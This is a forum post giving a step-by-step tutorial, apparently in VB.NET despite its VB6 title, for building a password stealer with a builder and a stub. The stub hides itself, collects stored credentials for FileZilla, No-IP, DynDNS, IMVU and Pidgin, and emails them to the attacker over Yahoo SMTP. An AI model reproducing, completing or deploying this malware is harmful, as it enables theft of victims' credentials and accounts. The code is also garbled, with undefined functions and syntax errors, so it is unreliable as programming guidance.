thom crowz
Сообщений: 37
Оценки: 0
Присоединился: 2011-03-01 14:49:21.793333
|
how to create basic process in vb6 :
The Builder
Open Visual Basic:
Click File > Click then New Project > Choose Windows Application > Choose name > Click Ok
From the Toolbox drag:
Button1
TextBox1
TextBox2
Label1- Change text to: yahoo Username:
Label2- Change text to: yahoo Password:
Now when you add all these, on top of code add:
Code:
Imports System.IO
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim stub, text1, text2 As String
move to source code part, double click Button1 and write:
Code:
text1 = TextBox1.Text
text2 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\Stub.exe",
OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("Server.exe") Then
My.Computer.FileSystem.DeleteFile("Server.exe")
End If
FileOpen(1, Application.StartupPath & "\Server.exe",
OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2)
FileClose(1)
The Stub
Now you got your builder and now lets move to Stub.
Run Visual Basic
In Tab click File > New Project
Windows Application > "Stub" > Click Ok
From the Toolbox add:
Textbox2 - yahoo Username
Textbox3 - yahoo Password
Now when you add all these, on top of code add:
Code:
Imports System.IO
Imports System.Net.Mail
Imports Microsoft.Win32
Now under Public Class Form1 add following code, that would be strings:
Code:
Dim options(), text1, text2 As String
Dim filezillaPass as String = ShoitZilla()
Dim NoipPass as String = IpRecord()
Dim dyndnsPass as String = yahooDns()
Dim imvuPass as String = DoToVu
Dim pidginPass as String = PidginRec()
Dim result As Integer
Const FileSplit = "Stealer Guide"
Now double click Form1 and write following code:
Code:
me.hide
me.visible = false
dim nl as string = vbnewline
Dim MailSetup As New MailMessage
MailSetup.Subject = Computer.Name & ":"
MailSetup.To.Add(TextBox2.Text)
MailSetup.From = New MailAddress(TextBox2.Text)
MailSetup.Body = & nl & noippass & nl & dyndnspass & nl _
& imvupass & nl & icq & "Stealer Source"
Dim SMTP As New SmtpClient("smtp.yahoo.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTP.Send(MailSetup)
And add All these Functions to the source code:
MidNight
SC: BY 8|
|
stealer basic.... - 
